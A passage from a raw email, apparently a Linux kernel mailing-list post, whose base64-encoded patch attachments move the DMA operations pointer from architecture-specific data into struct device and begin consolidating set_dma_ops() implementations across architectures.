YXRmb3Jtcy9wc2VyaWVzL2libWVidXMuYwpAQCAtMTY5LDcgKzE2OSw3IEBAIHN0YXRpYyBpbnQg
aWJtZWJ1c19jcmVhdGVfZGV2aWNlKHN0cnVjdCBkZXZpY2Vfbm9kZSAqZG4pCiAJCXJldHVybiAt
RU5PTUVNOwogCiAJZGV2LT5kZXYuYnVzID0gJmlibWVidXNfYnVzX3R5cGU7Ci0JZGV2LT5kZXYu
YXJjaGRhdGEuZG1hX29wcyA9ICZpYm1lYnVzX2RtYV9vcHM7CisJZGV2LT5kZXYuZG1hX29wcyA9
ICZpYm1lYnVzX2RtYV9vcHM7CiAKIAlyZXQgPSBvZl9kZXZpY2VfYWRkKGRldik7CiAJaWYgKHJl
dCkKZGlmZiAtLWdpdCBhL2FyY2gvczM5MC9pbmNsdWRlL2FzbS9kZXZpY2UuaCBiL2FyY2gvczM5
MC9pbmNsdWRlL2FzbS9kZXZpY2UuaAppbmRleCA3OTU1YTk3OTk0NjYuLjUyMDNmYzg3ZjA4MCAx
MDA2NDQKLS0tIGEvYXJjaC9zMzkwL2luY2x1ZGUvYXNtL2RldmljZS5oCisrKyBiL2FyY2gvczM5
MC9pbmNsdWRlL2FzbS9kZXZpY2UuaApAQCAtNCw3ICs0LDYgQEAKICAqIFRoaXMgZmlsZSBpcyBy
ZWxlYXNlZCB1bmRlciB0aGUgR1BMdjIKICAqLwogc3RydWN0IGRldl9hcmNoZGF0YSB7Ci0JY29u
c3Qgc3RydWN0IGRtYV9tYXBfb3BzICpkbWFfb3BzOwogfTsKIAogc3RydWN0IHBkZXZfYXJjaGRh
dGEgewpkaWZmIC0tZ2l0IGEvYXJjaC9zMzkwL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmggYi9h
cmNoL3MzOTAvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaAppbmRleCAyNzc2ZDIwNWIxZmYuLmE4
NzIwMjdkMGMxYiAxMDA2NDQKLS0tIGEvYXJjaC9zMzkwL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5n
LmgKKysrIGIvYXJjaC9zMzkwL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKQEAgLTE0LDggKzE0
LDggQEAgZXh0ZXJuIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyBzMzkwX3BjaV9kbWFfb3BzOwog
CiBzdGF0aWMgaW5saW5lIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqZ2V0X2RtYV9vcHMoc3Ry
dWN0IGRldmljZSAqZGV2KQogewotCWlmIChkZXYgJiYgZGV2LT5hcmNoZGF0YS5kbWFfb3BzKQot
CQlyZXR1cm4gZGV2LT5hcmNoZGF0YS5kbWFfb3BzOworCWlmIChkZXYgJiYgZGV2LT5kbWFfb3Bz
KQorCQlyZXR1cm4gZGV2LT5kbWFfb3BzOwogCXJldHVybiAmZG1hX25vb3Bfb3BzOwogfQogCmRp
ZmYgLS1naXQgYS9hcmNoL3MzOTAvcGNpL3BjaS5jIGIvYXJjaC9zMzkwL3BjaS9wY2kuYwppbmRl
eCAzOGUxN2Q0ZDk4ODQuLjgyYWJlZjhiODU3NCAxMDA2NDQKLS0tIGEvYXJjaC9zMzkwL3BjaS9w
Y2kuYworKysgYi9hcmNoL3MzOTAvcGNpL3BjaS5jCkBAIC02NDEsNyArNjQxLDcgQEAgaW50IHBj
aWJpb3NfYWRkX2RldmljZShzdHJ1Y3QgcGNpX2RldiAqcGRldikKIAlpbnQgaTsKIAogCXBkZXYt
PmRldi5ncm91cHMgPSB6cGNpX2F0dHJfZ3JvdXBzOwotCXBkZXYtPmRldi5hcmNoZGF0YS5kbWFf
b3BzID0gJnMzOTBfcGNpX2RtYV9vcHM7CisJcGRldi0+ZGV2LmRtYV9vcHMgPSAmczM5MF9wY2lf
ZG1hX29wczsKIAl6cGNpX21hcF9yZXNvdXJjZXMocGRldik7CiAKIAlmb3IgKGkgPSAwOyBpIDwg
UENJX0JBUl9DT1VOVDsgaSsrKSB7CmRpZmYgLS1naXQgYS9hcmNoL3RpbGUvaW5jbHVkZS9hc20v
ZGV2aWNlLmggYi9hcmNoL3RpbGUvaW5jbHVkZS9hc20vZGV2aWNlLmgKaW5kZXggMjVmMjNhYzdk
MzYxLi4xY2Y0NTQyMmEwZGYgMTAwNjQ0Ci0tLSBhL2FyY2gvdGlsZS9pbmNsdWRlL2FzbS9kZXZp
Y2UuaAorKysgYi9hcmNoL3RpbGUvaW5jbHVkZS9hc20vZGV2aWNlLmgKQEAgLTE3LDkgKzE3LDYg
QEAKICNkZWZpbmUgX0FTTV9USUxFX0RFVklDRV9ICiAKIHN0cnVjdCBkZXZfYXJjaGRhdGEgewot
CS8qIERNQSBvcGVyYXRpb25zIG9uIHRoYXQgZGV2aWNlICovCi0gICAgICAgIGNvbnN0IHN0cnVj
dCBkbWFfbWFwX29wcwkqZG1hX29wczsKLQogCS8qIE9mZnNldCBvZiB0aGUgRE1BIGFkZHJlc3Mg
ZnJvbSB0aGUgUEEuICovCiAJZG1hX2FkZHJfdAkJZG1hX29mZnNldDsKIApkaWZmIC0tZ2l0IGEv
YXJjaC90aWxlL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmggYi9hcmNoL3RpbGUvaW5jbHVkZS9h
c20vZG1hLW1hcHBpbmcuaAppbmRleCA0YTA2Y2M3NWI4NTYuLmMwNjIwNjk3ZWFhZCAxMDA2NDQK
LS0tIGEvYXJjaC90aWxlL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKKysrIGIvYXJjaC90aWxl
L2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmgKQEAgLTMxLDggKzMxLDggQEAgZXh0ZXJuIGNvbnN0
IHN0cnVjdCBkbWFfbWFwX29wcyAqZ3hfaHlicmlkX3BjaV9kbWFfbWFwX29wczsKIAogc3RhdGlj
IGlubGluZSBjb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgKmdldF9kbWFfb3BzKHN0cnVjdCBkZXZp
Y2UgKmRldikKIHsKLQlpZiAoZGV2ICYmIGRldi0+YXJjaGRhdGEuZG1hX29wcykKLQkJcmV0dXJu
IGRldi0+YXJjaGRhdGEuZG1hX29wczsKKwlpZiAoZGV2ICYmIGRldi0+ZG1hX29wcykKKwkJcmV0
dXJuIGRldi0+ZG1hX29wczsKIAllbHNlCiAJCXJldHVybiB0aWxlX2RtYV9tYXBfb3BzOwogfQpA
QCAtNjEsNyArNjEsNyBAQCBzdGF0aWMgaW5saW5lIHZvaWQgZG1hX21hcmtfY2xlYW4odm9pZCAq
YWRkciwgc2l6ZV90IHNpemUpIHt9CiAKIHN0YXRpYyBpbmxpbmUgdm9pZCBzZXRfZG1hX29wcyhz
dHJ1Y3QgZGV2aWNlICpkZXYsIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqb3BzKQogewotCWRl
di0+YXJjaGRhdGEuZG1hX29wcyA9IG9wczsKKwlkZXYtPmRtYV9vcHMgPSBvcHM7CiB9CiAKIHN0
YXRpYyBpbmxpbmUgYm9vbCBkbWFfY2FwYWJsZShzdHJ1Y3QgZGV2aWNlICpkZXYsIGRtYV9hZGRy
X3QgYWRkciwgc2l6ZV90IHNpemUpCmRpZmYgLS1naXQgYS9hcmNoL3g4Ni9pbmNsdWRlL2FzbS9k
ZXZpY2UuaCBiL2FyY2gveDg2L2luY2x1ZGUvYXNtL2RldmljZS5oCmluZGV4IGIyZDBiNGNlZDdl
My4uMWIzZWYyNmU3N2RmIDEwMDY0NAotLS0gYS9hcmNoL3g4Ni9pbmNsdWRlL2FzbS9kZXZpY2Uu
aAorKysgYi9hcmNoL3g4Ni9pbmNsdWRlL2FzbS9kZXZpY2UuaApAQCAtMiw5ICsyLDYgQEAKICNk
ZWZpbmUgX0FTTV9YODZfREVWSUNFX0gKIAogc3RydWN0IGRldl9hcmNoZGF0YSB7Ci0jaWZkZWYg
Q09ORklHX1g4Nl9ERVZfRE1BX09QUwotCWNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqZG1hX29w
czsKLSNlbmRpZgogI2lmIGRlZmluZWQoQ09ORklHX0lOVEVMX0lPTU1VKSB8fCBkZWZpbmVkKENP
TkZJR19BTURfSU9NTVUpCiAJdm9pZCAqaW9tbXU7IC8qIGhvb2sgZm9yIElPTU1VIHNwZWNpZmlj
IGV4dGVuc2lvbiAqLwogI2VuZGlmCmRpZmYgLS1naXQgYS9hcmNoL3g4Ni9pbmNsdWRlL2FzbS9k
bWEtbWFwcGluZy5oIGIvYXJjaC94ODYvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaAppbmRleCA1
ZTQ3NzI4ODZhMWUuLjk0YjViOTY5NjZjYiAxMDA2NDQKLS0tIGEvYXJjaC94ODYvaW5jbHVkZS9h
c20vZG1hLW1hcHBpbmcuaAorKysgYi9hcmNoL3g4Ni9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5o
CkBAIC0zMiwxMCArMzIsMTAgQEAgc3RhdGljIGlubGluZSBjb25zdCBzdHJ1Y3QgZG1hX21hcF9v
cHMgKmdldF9kbWFfb3BzKHN0cnVjdCBkZXZpY2UgKmRldikKICNpZm5kZWYgQ09ORklHX1g4Nl9E
RVZfRE1BX09QUwogCXJldHVybiBkbWFfb3BzOwogI2Vsc2UKLQlpZiAodW5saWtlbHkoIWRldikg
fHwgIWRldi0+YXJjaGRhdGEuZG1hX29wcykKKwlpZiAodW5saWtlbHkoIWRldikgfHwgIWRldi0+
ZG1hX29wcykKIAkJcmV0dXJuIGRtYV9vcHM7CiAJZWxzZQotCQlyZXR1cm4gZGV2LT5hcmNoZGF0
YS5kbWFfb3BzOworCQlyZXR1cm4gZGV2LT5kbWFfb3BzOwogI2VuZGlmCiB9CiAKZGlmZiAtLWdp
dCBhL2FyY2gveDg2L2tlcm5lbC9wY2ktY2FsZ2FyeV82NC5jIGIvYXJjaC94ODYva2VybmVsL3Bj
aS1jYWxnYXJ5XzY0LmMKaW5kZXggMTdmMTgwMTQ4YzgwLi41MDcwMzIwNzgwYzYgMTAwNjQ0Ci0t
LSBhL2FyY2gveDg2L2tlcm5lbC9wY2ktY2FsZ2FyeV82NC5jCisrKyBiL2FyY2gveDg2L2tlcm5l
bC9wY2ktY2FsZ2FyeV82NC5jCkBAIC0xMTc3LDcgKzExNzcsNyBAQCBzdGF0aWMgaW50IF9faW5p
dCBjYWxnYXJ5X2luaXQodm9pZCkKIAkJdGJsID0gZmluZF9pb21tdV90YWJsZSgmZGV2LT5kZXYp
OwogCiAJCWlmICh0cmFuc2xhdGlvbl9lbmFibGVkKHRibCkpCi0JCQlkZXYtPmRldi5hcmNoZGF0
YS5kbWFfb3BzID0gJmNhbGdhcnlfZG1hX29wczsKKwkJCWRldi0+ZGV2LmRtYV9vcHMgPSAmY2Fs
Z2FyeV9kbWFfb3BzOwogCX0KIAogCXJldHVybiByZXQ7CkBAIC0xMjAxLDcgKzEyMDEsNyBAQCBz
dGF0aWMgaW50IF9faW5pdCBjYWxnYXJ5X2luaXQodm9pZCkKIAkJY2FsZ2FyeV9kaXNhYmxlX3Ry
YW5zbGF0aW9uKGRldik7CiAJCWNhbGdhcnlfZnJlZV9idXMoZGV2KTsKIAkJcGNpX2Rldl9wdXQo
ZGV2KTsgLyogVW5kbyBjYWxnYXJ5X2luaXRfb25lKCkncyBwY2lfZGV2X2dldCgpICovCi0JCWRl
di0+ZGV2LmFyY2hkYXRhLmRtYV9vcHMgPSBOVUxMOworCQlkZXYtPmRldi5kbWFfb3BzID0gTlVM
TDsKIAl9IHdoaWxlICgxKTsKIAogCXJldHVybiByZXQ7CmRpZmYgLS1naXQgYS9hcmNoL3g4Ni9w
Y2kvY29tbW9uLmMgYi9hcmNoL3g4Ni9wY2kvY29tbW9uLmMKaW5kZXggYTRmZGZhN2RjYzFiLi4w
Y2I1MmFlMGE4ZjAgMTAwNjQ0Ci0tLSBhL2FyY2gveDg2L3BjaS9jb21tb24uYworKysgYi9hcmNo
L3g4Ni9wY2kvY29tbW9uLmMKQEAgLTY2Nyw3ICs2NjcsNyBAQCBzdGF0aWMgdm9pZCBzZXRfZG1h
X2RvbWFpbl9vcHMoc3RydWN0IHBjaV9kZXYgKnBkZXYpCiAJc3Bpbl9sb2NrKCZkbWFfZG9tYWlu
X2xpc3RfbG9jayk7CiAJbGlzdF9mb3JfZWFjaF9lbnRyeShkb21haW4sICZkbWFfZG9tYWluX2xp
c3QsIG5vZGUpIHsKIAkJaWYgKHBjaV9kb21haW5fbnIocGRldi0+YnVzKSA9PSBkb21haW4tPmRv
bWFpbl9ucikgewotCQkJcGRldi0+ZGV2LmFyY2hkYXRhLmRtYV9vcHMgPSBkb21haW4tPmRtYV9v
cHM7CisJCQlwZGV2LT5kZXYuZG1hX29wcyA9IGRvbWFpbi0+ZG1hX29wczsKIAkJCWJyZWFrOwog
CQl9CiAJfQpkaWZmIC0tZ2l0IGEvYXJjaC94ODYvcGNpL3N0YTJ4MTEtZml4dXAuYyBiL2FyY2gv
eDg2L3BjaS9zdGEyeDExLWZpeHVwLmMKaW5kZXggYWEzODI4ODIzMTcwLi5lYzAwOGU4MDBiNDUg
MTAwNjQ0Ci0tLSBhL2FyY2gveDg2L3BjaS9zdGEyeDExLWZpeHVwLmMKKysrIGIvYXJjaC94ODYv
cGNpL3N0YTJ4MTEtZml4dXAuYwpAQCAtMjAzLDcgKzIwMyw3IEBAIHN0YXRpYyB2b2lkIHN0YTJ4
MTFfc2V0dXBfcGRldihzdHJ1Y3QgcGNpX2RldiAqcGRldikKIAkJcmV0dXJuOwogCXBjaV9zZXRf
Y29uc2lzdGVudF9kbWFfbWFzayhwZGV2LCBTVEEyWDExX0FNQkFfU0laRSAtIDEpOwogCXBjaV9z
ZXRfZG1hX21hc2socGRldiwgU1RBMlgxMV9BTUJBX1NJWkUgLSAxKTsKLQlwZGV2LT5kZXYuYXJj
aGRhdGEuZG1hX29wcyA9ICZzdGEyeDExX2RtYV9vcHM7CisJcGRldi0+ZGV2LmRtYV9vcHMgPSAm
c3RhMngxMV9kbWFfb3BzOwogCiAJLyogV2UgbXVzdCBlbmFibGUgYWxsIGRldmljZXMgYXMgbWFz
dGVyLCBmb3IgYXVkaW8gRE1BIHRvIHdvcmsgKi8KIAlwY2lfc2V0X21hc3RlcihwZGV2KTsKQEAg
LTIyMyw3ICsyMjMsNyBAQCBib29sIGRtYV9jYXBhYmxlKHN0cnVjdCBkZXZpY2UgKmRldiwgZG1h
X2FkZHJfdCBhZGRyLCBzaXplX3Qgc2l6ZSkKIHsKIAlzdHJ1Y3Qgc3RhMngxMV9tYXBwaW5nICpt
YXA7CiAKLQlpZiAoZGV2LT5hcmNoZGF0YS5kbWFfb3BzICE9ICZzdGEyeDExX2RtYV9vcHMpIHsK
KwlpZiAoZGV2LT5kbWFfb3BzICE9ICZzdGEyeDExX2RtYV9vcHMpIHsKIAkJaWYgKCFkZXYtPmRt
YV9tYXNrKQogCQkJcmV0dXJuIGZhbHNlOwogCQlyZXR1cm4gYWRkciArIHNpemUgLSAxIDw9ICpk
ZXYtPmRtYV9tYXNrOwpAQCAtMjQ3LDcgKzI0Nyw3IEBAIGJvb2wgZG1hX2NhcGFibGUoc3RydWN0
IGRldmljZSAqZGV2LCBkbWFfYWRkcl90IGFkZHIsIHNpemVfdCBzaXplKQogICovCiBkbWFfYWRk
cl90IHBoeXNfdG9fZG1hKHN0cnVjdCBkZXZpY2UgKmRldiwgcGh5c19hZGRyX3QgcGFkZHIpCiB7
Ci0JaWYgKGRldi0+YXJjaGRhdGEuZG1hX29wcyAhPSAmc3RhMngxMV9kbWFfb3BzKQorCWlmIChk
ZXYtPmRtYV9vcHMgIT0gJnN0YTJ4MTFfZG1hX29wcykKIAkJcmV0dXJuIHBhZGRyOwogCXJldHVy
biBwMmEocGFkZHIsIHRvX3BjaV9kZXYoZGV2KSk7CiB9CkBAIC0yNTksNyArMjU5LDcgQEAgZG1h
X2FkZHJfdCBwaHlzX3RvX2RtYShzdHJ1Y3QgZGV2aWNlICpkZXYsIHBoeXNfYWRkcl90IHBhZGRy
KQogICovCiBwaHlzX2FkZHJfdCBkbWFfdG9fcGh5cyhzdHJ1Y3QgZGV2aWNlICpkZXYsIGRtYV9h
ZGRyX3QgZGFkZHIpCiB7Ci0JaWYgKGRldi0+YXJjaGRhdGEuZG1hX29wcyAhPSAmc3RhMngxMV9k
bWFfb3BzKQorCWlmIChkZXYtPmRtYV9vcHMgIT0gJnN0YTJ4MTFfZG1hX29wcykKIAkJcmV0dXJu
IGRhZGRyOwogCXJldHVybiBhMnAoZGFkZHIsIHRvX3BjaV9kZXYoZGV2KSk7CiB9CmRpZmYgLS1n
aXQgYS9hcmNoL3h0ZW5zYS9pbmNsdWRlL2FzbS9kZXZpY2UuaCBiL2FyY2gveHRlbnNhL2luY2x1
ZGUvYXNtL2RldmljZS5oCmluZGV4IGE3N2Q0NWQzOWYzNS4uMWRlZWI4ZWJiYjFiIDEwMDY0NAot
LS0gYS9hcmNoL3h0ZW5zYS9pbmNsdWRlL2FzbS9kZXZpY2UuaAorKysgYi9hcmNoL3h0ZW5zYS9p
bmNsdWRlL2FzbS9kZXZpY2UuaApAQCAtNiwxMSArNiw3IEBACiAjaWZuZGVmIF9BU01fWFRFTlNB
X0RFVklDRV9ICiAjZGVmaW5lIF9BU01fWFRFTlNBX0RFVklDRV9ICiAKLXN0cnVjdCBkbWFfbWFw
X29wczsKLQogc3RydWN0IGRldl9hcmNoZGF0YSB7Ci0JLyogRE1BIG9wZXJhdGlvbnMgb24gdGhh
dCBkZXZpY2UgKi8KLQljb25zdCBzdHJ1Y3QgZG1hX21hcF9vcHMgKmRtYV9vcHM7CiB9OwogCiBz
dHJ1Y3QgcGRldl9hcmNoZGF0YSB7CmRpZmYgLS1naXQgYS9hcmNoL3h0ZW5zYS9pbmNsdWRlL2Fz
bS9kbWEtbWFwcGluZy5oIGIvYXJjaC94dGVuc2EvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaApp
bmRleCA1MGQyMzEwNmNjZTAuLjllZWNmYzNjNWRjNCAxMDA2NDQKLS0tIGEvYXJjaC94dGVuc2Ev
aW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaAorKysgYi9hcmNoL3h0ZW5zYS9pbmNsdWRlL2FzbS9k
bWEtbWFwcGluZy5oCkBAIC0yMiw4ICsyMiw4IEBAIGV4dGVybiBjb25zdCBzdHJ1Y3QgZG1hX21h
cF9vcHMgeHRlbnNhX2RtYV9tYXBfb3BzOwogCiBzdGF0aWMgaW5saW5lIGNvbnN0IHN0cnVjdCBk
bWFfbWFwX29wcyAqZ2V0X2RtYV9vcHMoc3RydWN0IGRldmljZSAqZGV2KQogewotCWlmIChkZXYg
JiYgZGV2LT5hcmNoZGF0YS5kbWFfb3BzKQotCQlyZXR1cm4gZGV2LT5hcmNoZGF0YS5kbWFfb3Bz
OworCWlmIChkZXYgJiYgZGV2LT5kbWFfb3BzKQorCQlyZXR1cm4gZGV2LT5kbWFfb3BzOwogCWVs
c2UKIAkJcmV0dXJuICZ4dGVuc2FfZG1hX21hcF9vcHM7CiB9CmRpZmYgLS1naXQgYS9kcml2ZXJz
L2luZmluaWJhbmQvdWxwL3NycHQvaWJfc3JwdC5jIGIvZHJpdmVycy9pbmZpbmliYW5kL3VscC9z
cnB0L2liX3NycHQuYwppbmRleCAzZmMzZjhiNTc1MmIuLjdmZjlkZTA2M2M1MyAxMDA2NDQKLS0t
IGEvZHJpdmVycy9pbmZpbmliYW5kL3VscC9zcnB0L2liX3NycHQuYworKysgYi9kcml2ZXJzL2lu
ZmluaWJhbmQvdWxwL3NycHQvaWJfc3JwdC5jCkBAIC0yNTI0LDcgKzI1MjQsNyBAQCBzdGF0aWMg
dm9pZCBzcnB0X2FkZF9vbmUoc3RydWN0IGliX2RldmljZSAqZGV2aWNlKQogCWludCBpOwogCiAJ
cHJfZGVidWcoImRldmljZSA9ICVwLCBkZXZpY2UtPmRtYV9vcHMgPSAlcFxuIiwgZGV2aWNlLAot
CQkgZGV2aWNlLT5kbWFfb3BzKTsKKwkJIGRldmljZS0+ZG1hX2RldmljZS0+ZG1hX29wcyk7CiAK
IAlzZGV2ID0ga3phbGxvYyhzaXplb2YoKnNkZXYpLCBHRlBfS0VSTkVMKTsKIAlpZiAoIXNkZXYp
CmRpZmYgLS1naXQgYS9kcml2ZXJzL2lvbW11L2FtZF9pb21tdS5jIGIvZHJpdmVycy9pb21tdS9h
bWRfaW9tbXUuYwppbmRleCAzNzAzZmI5ZGI0MTkuLmY3Yjg2Njc5YmFmZSAxMDA2NDQKLS0tIGEv
ZHJpdmVycy9pb21tdS9hbWRfaW9tbXUuYworKysgYi9kcml2ZXJzL2lvbW11L2FtZF9pb21tdS5j
CkBAIC01MTUsNyArNTE1LDcgQEAgc3RhdGljIHZvaWQgaW9tbXVfdW5pbml0X2RldmljZShzdHJ1
Y3QgZGV2aWNlICpkZXYpCiAJaW9tbXVfZ3JvdXBfcmVtb3ZlX2RldmljZShkZXYpOwogCiAJLyog
UmVtb3ZlIGRtYS1vcHMgKi8KLQlkZXYtPmFyY2hkYXRhLmRtYV9vcHMgPSBOVUxMOworCWRldi0+
ZG1hX29wcyA9IE5VTEw7CiAKIAkvKgogCSAqIFdlIGtlZXAgZGV2X2RhdGEgYXJvdW5kIGZvciB1
bnBsdWdnZWQgZGV2aWNlcyBhbmQgcmV1c2UgaXQgd2hlbiB0aGUKQEAgLTIxNjQsNyArMjE2NCw3
IEBAIHN0YXRpYyBpbnQgYW1kX2lvbW11X2FkZF9kZXZpY2Uoc3RydWN0IGRldmljZSAqZGV2KQog
CQkJCWRldl9uYW1lKGRldikpOwogCiAJCWlvbW11X2lnbm9yZV9kZXZpY2UoZGV2KTsKLQkJZGV2
LT5hcmNoZGF0YS5kbWFfb3BzID0gJm5vbW11X2RtYV9vcHM7CisJCWRldi0+ZG1hX29wcyA9ICZu
b21tdV9kbWFfb3BzOwogCQlnb3RvIG91dDsKIAl9CiAJaW5pdF9pb21tdV9ncm91cChkZXYpOwpA
QCAtMjE4MSw3ICsyMTgxLDcgQEAgc3RhdGljIGludCBhbWRfaW9tbXVfYWRkX2RldmljZShzdHJ1
Y3QgZGV2aWNlICpkZXYpCiAJaWYgKGRvbWFpbi0+dHlwZSA9PSBJT01NVV9ET01BSU5fSURFTlRJ
VFkpCiAJCWRldl9kYXRhLT5wYXNzdGhyb3VnaCA9IHRydWU7CiAJZWxzZQotCQlkZXYtPmFyY2hk
YXRhLmRtYV9vcHMgPSAmYW1kX2lvbW11X2RtYV9vcHM7CisJCWRldi0+ZG1hX29wcyA9ICZhbWRf
aW9tbXVfZG1hX29wczsKIAogb3V0OgogCWlvbW11X2NvbXBsZXRpb25fd2FpdChpb21tdSk7CmRp
ZmYgLS1naXQgYS9kcml2ZXJzL21pc2MvbWljL2J1cy9taWNfYnVzLmMgYi9kcml2ZXJzL21pc2Mv
bWljL2J1cy9taWNfYnVzLmMKaW5kZXggYzRiMjdhMjU2NjJhLi43N2IxNmNhNjY4NDYgMTAwNjQ0
Ci0tLSBhL2RyaXZlcnMvbWlzYy9taWMvYnVzL21pY19idXMuYworKysgYi9kcml2ZXJzL21pc2Mv
bWljL2J1cy9taWNfYnVzLmMKQEAgLTE1OCw3ICsxNTgsNyBAQCBtYnVzX3JlZ2lzdGVyX2Rldmlj
ZShzdHJ1Y3QgZGV2aWNlICpwZGV2LCBpbnQgaWQsIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAq
ZG1hXwogCW1iZGV2LT5kZXYucGFyZW50ID0gcGRldjsKIAltYmRldi0+aWQuZGV2aWNlID0gaWQ7
CiAJbWJkZXYtPmlkLnZlbmRvciA9IE1CVVNfREVWX0FOWV9JRDsKLQltYmRldi0+ZGV2LmFyY2hk
YXRhLmRtYV9vcHMgPSBkbWFfb3BzOworCW1iZGV2LT5kZXYuZG1hX29wcyA9IGRtYV9vcHM7CiAJ
bWJkZXYtPmRldi5kbWFfbWFzayA9ICZtYmRldi0+ZGV2LmNvaGVyZW50X2RtYV9tYXNrOwogCWRt
YV9zZXRfbWFzaygmbWJkZXYtPmRldiwgRE1BX0JJVF9NQVNLKDY0KSk7CiAJbWJkZXYtPmRldi5y
ZWxlYXNlID0gbWJ1c19yZWxlYXNlX2RldjsKZGlmZiAtLWdpdCBhL2RyaXZlcnMvbWlzYy9taWMv
YnVzL3NjaWZfYnVzLmMgYi9kcml2ZXJzL21pc2MvbWljL2J1cy9zY2lmX2J1cy5jCmluZGV4IGU1
ZDM3N2U5N2M4Ni4uYTQ0NGRiNWY2MWZlIDEwMDY0NAotLS0gYS9kcml2ZXJzL21pc2MvbWljL2J1
cy9zY2lmX2J1cy5jCisrKyBiL2RyaXZlcnMvbWlzYy9taWMvYnVzL3NjaWZfYnVzLmMKQEAgLTE1
NCw3ICsxNTQsNyBAQCBzY2lmX3JlZ2lzdGVyX2RldmljZShzdHJ1Y3QgZGV2aWNlICpwZGV2LCBp
bnQgaWQsIGNvbnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqZG1hXwogCXNkZXYtPmRldi5wYXJlbnQg
PSBwZGV2OwogCXNkZXYtPmlkLmRldmljZSA9IGlkOwogCXNkZXYtPmlkLnZlbmRvciA9IFNDSUZf
REVWX0FOWV9JRDsKLQlzZGV2LT5kZXYuYXJjaGRhdGEuZG1hX29wcyA9IGRtYV9vcHM7CisJc2Rl
di0+ZGV2LmRtYV9vcHMgPSBkbWFfb3BzOwogCXNkZXYtPmRldi5yZWxlYXNlID0gc2NpZl9yZWxl
YXNlX2RldjsKIAlzZGV2LT5od19vcHMgPSBod19vcHM7CiAJc2Rldi0+ZG5vZGUgPSBkbm9kZTsK
ZGlmZiAtLWdpdCBhL2luY2x1ZGUvbGludXgvZGV2aWNlLmggYi9pbmNsdWRlL2xpbnV4L2Rldmlj
ZS5oCmluZGV4IDQ5MWI0YzBjYTYzMy4uNDZhNTY3MjYxY2NjIDEwMDY0NAotLS0gYS9pbmNsdWRl
L2xpbnV4L2RldmljZS5oCisrKyBiL2luY2x1ZGUvbGludXgvZGV2aWNlLmgKQEAgLTkyMSw2ICs5
MjEsNyBAQCBzdHJ1Y3QgZGV2aWNlIHsKICNpZmRlZiBDT05GSUdfTlVNQQogCWludAkJbnVtYV9u
b2RlOwkvKiBOVU1BIG5vZGUgdGhpcyBkZXZpY2UgaXMgY2xvc2UgdG8gKi8KICNlbmRpZgorCWNv
bnN0IHN0cnVjdCBkbWFfbWFwX29wcyAqZG1hX29wczsKIAl1NjQJCSpkbWFfbWFzazsJLyogZG1h
IG1hc2sgKGlmIGRtYSdhYmxlIGRldmljZSkgKi8KIAl1NjQJCWNvaGVyZW50X2RtYV9tYXNrOy8q
IExpa2UgZG1hX21hc2ssIGJ1dCBmb3IKIAkJCQkJICAgICBhbGxvY19jb2hlcmVudCBtYXBwaW5n
cyBhcwotLSAKMi4xMS4wCgo=

--_004_1484173670261928camelsandiskcom_
Content-Type: text/x-patch;
	name="0002-treewide-Consolidate-set_dma_ops-implementations.patch"
Content-Description: 0002-treewide-Consolidate-set_dma_ops-implementations.patch
Content-Disposition: attachment;
	filename="0002-treewide-Consolidate-set_dma_ops-implementations.patch";
	size=2885; creation-date="Wed, 11 Jan 2017 22:28:04 GMT";
	modification-date="Wed, 11 Jan 2017 22:28:04 GMT"
Content-ID: <2596F054D7B08B41AD187EA0CCE90678-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
Content-Transfer-Encoding: base64

RnJvbSA4M2I1ZDVjNjJhMmUwMmIwYjE3ODgwYzA0NGI1NzQ4NTMxZDdkMjcwIE1vbiBTZXAgMTcg
MDA6MDA6MDAgMjAwMQpGcm9tOiBCYXJ0IFZhbiBBc3NjaGUgPGJhcnQudmFuYXNzY2hlQHNhbmRp
c2suY29tPgpEYXRlOiBXZWQsIDExIEphbiAyMDE3IDEzOjQwOjU0IC0wODAwClN1YmplY3Q6IFtQ
QVRDSCAyLzNdIHRyZWV3aWRlOiBDb25zb2xpZGF0ZSBzZXRfZG1hX29wcygpIGltcGxlbWVudGF0
aW9ucwoKTm93IHRoYXQgYWxsIHNldF9kbWFfb3BzKCkgaW1wbGVtZW50YXRpb25zIGFyZSBpZGVu
dGljYWwsIHJlbW92ZQp0aGUgYXJjaGl0ZWN0dXJlIHNwZWNpZmljIGRlZmluaXRpb25zIGFuZCBh
ZGQgYSBkZWZpbml0aW9uIGluCjxsaW51eC9kbWEtbWFwcGluZy5oPi4KClNpZ25lZC1vZmYtYnk6
IEJhcnQgVmFuIEFzc2NoZSA8YmFydC52YW5hc3NjaGVAc2FuZGlzay5jb20+Ci0tLQogYXJjaC9h
cm0vaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaCAgICAgfCA2IC0tLS0tLQogYXJjaC9wb3dlcnBj
L2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmggfCA1IC0tLS0tCiBhcmNoL3RpbGUvaW5jbHVkZS9h
c20vZG1hLW1hcHBpbmcuaCAgICB8IDUgLS0tLS0KIGluY2x1ZGUvbGludXgvZG1hLW1hcHBpbmcu
aCAgICAgICAgICAgIHwgNSArKysrKwogNCBmaWxlcyBjaGFuZ2VkLCA1IGluc2VydGlvbnMoKyks
IDE2IGRlbGV0aW9ucygtKQoKZGlmZiAtLWdpdCBhL2FyY2gvYXJtL2luY2x1ZGUvYXNtL2RtYS1t
YXBwaW5nLmggYi9hcmNoL2FybS9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oCmluZGV4IDMxMmY0
